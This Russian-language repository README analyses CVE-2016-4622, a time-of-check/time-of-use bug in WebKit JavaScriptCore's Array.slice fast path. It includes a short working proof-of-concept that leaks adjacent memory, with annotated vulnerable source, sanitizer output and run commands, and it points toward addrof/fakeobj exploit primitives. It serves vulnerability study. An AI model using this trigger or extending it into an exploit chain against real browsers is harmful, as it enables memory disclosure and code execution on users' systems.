
Мой путь через процесс эксплуатации WebKit CVE-2016-4622
Полный анализ и эксплуатация уязвимости в WebKit JavaScript Core, приводящей к раскрытию памяти через манипуляцию Array.slice
Этот репозиторий содержит полный анализ CVE-2016-4622 — критической уязвимости раскрытия памяти в движке JavaScript Core WebKit. Уязвимость вызвана состоянием гонки в реализации Array.slice(), которое можно использовать для утечки содержимого соседней памяти, что служит основой для более сложных примитивов эксплуатации, таких как addrof и fakeobj.
Воздействие: раскрытие памяти с возможностью удаленного выполнения кода
Затронутый компонент: WebKit JavaScript Core (JSC)
Основная причина: уязвимость «проверка-по-времени-использование» (TOCTOU) в реализации fastSlice
Уязвимость существует в оптимизированном «быстром пути» метода Array.slice(). При обработке параметров slice движок преобразует объекты-аргументы в примитивные значения, вызывая их метод valueOf(). Это преобразование происходит после определения параметров операции slice, но до фактического копирования памяти.
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);
Что происходит:
a создаётся с 100 элементами.valueOf().valueOf() сокращает длину массива до 0.memcpy пытается скопировать 10 элементов из пустого массива.WebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/ # Эталонная реализация от Saelo
├── Exploit/ # Собственные попытки эксплуатации
│ ├── poc-memleak.js # PoC утечки памяти
│ └── slice_over_array.js # Обучающие примеры
├── WebKit-SRC-CVE-2016-4622/ # Уязвимый исходный код (коммит 320b1fc)
├── WebKit-Bins/ # Скомпилированные бинарники для тестирования
│ ├── Debug/ # Отладочная сборка с символами
│ └── ASAN/ # Сборка с включенным AddressSanitizer
└── Screenshoots/ # Визуальная документация
Бинарники: предварительно скомпилированные исполняемые файлы JSC, собранные на VMWare OSX 10.11 с XCode 7.3.2
Архитектура: x86_64 Mach-O
Отладочные возможности: символы + AddressSanitizer для полного анализа
cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js
# Ожидаемый вывод, показывающий утечку памяти:
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
Метод Array.slice(begin, end) создаёт поверхностную копию части массива. В обычных условиях:
var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3); // Возвращает ['b', 'c']
Ключевой момент: параметр end проходит преобразование типа через valueOf(), что создаёт окно для эксплуатации.
При срабатывании уязвимости AddressSanitizer фиксирует следующий поток вызовов:
#0 memcpy-param-overlap detected
#1 JSC::JSArray::fastSlice()
#2 JSC::arrayProtoFuncSlice()
#3 Контекст выполнения JavaScript

arrayProtoFuncSlice() – точка входаРасположение: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
unsigned length = getLength(exec, thisObj); // Исходная длина: 100
// Критически: преобразование параметров происходит здесь
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
// Определение быстрого пути
std::pair<SpeciesConstructResult, JSObject*> speciesResult =
speciesConstructArray(exec, thisObj, end - begin);
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
// Уязвимость срабатывает здесь
if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
// ... резервная реализация
}
argumentClampedIndexFromStartOrEnd() – триггер преобразованияРасположение: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236
static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
JSValue value = exec->argument(argument);
if (value.isUndefined())
return undefinedValue;
// КРИТИЧЕСКИ: именно здесь вызывается valueOf()
double indexDouble = value.toInteger(exec);
if (indexDouble < 0) {
indexDouble += length;
return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
}
return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}
Состояние гонки:
{valueOf: function() { a.length = 0; return 10; }}value.toInteger(exec) вызывает наш вредоносный valueOf()fastSlice() – где происходит повреждение памятиРасположение: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
auto arrayType = indexingType();
switch (arrayType) {
case ArrayWithDouble:
case ArrayWithInt32:
case ArrayWithContiguous: {
// ... подготовительный код ...
auto& resultButterfly = *resultArray->butterfly();
if (arrayType == ArrayWithDouble)
// УЯЗВИМОСТЬ: чтение за границами массива
memcpy(resultButterfly.contiguousDouble().data(),
m_butterfly.get()->contiguousDouble().data() + startIndex,
sizeof(JSValue) * count);
// ...
}
}
Повреждение памяти:
startIndex = 0, count = 10valueOf())memcpy читает 10 значений JSValue, начиная с индекса 0Фаза подготовки
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
Фаза триггера
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
Фаза эксплуатации
valueOf()fastSlice пытается скопировать 10 элементов из пустого массиваРезультат
0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
До valueOf(): [0.123][1.123][2.123]...[99.123] (length=100)
После valueOf(): [] (length=0)
memcpy читает: [0.123][1.123][УТЕЧКА][УТЕЧКА][УТЕЧКА]...
Эта уязвимость служит основой для:
addrof/fakeobjСтратегии смягчения:
memcpy320b1fc3f6fВременные рамки исследования: 11–12 апреля 2020
Статус: Анализ завершён ✅
Следующие шаги: Разработка полной цепочки эксплуатации с примитивами addrof/fakeobj
| Компонент | Проблема | Воздействие |
|---|
| Обработка параметров | TOCTOU в argumentClampedIndexFromStartOrEnd | Позволяет изменять состояние во время обработки |
| Логика быстрого пути | Недостаточная проверка в fastSlice | Обходит проверки границ |
| Операции с памятью | Непроверенный memcpy при копировании массива | Прямое раскрытие памяти |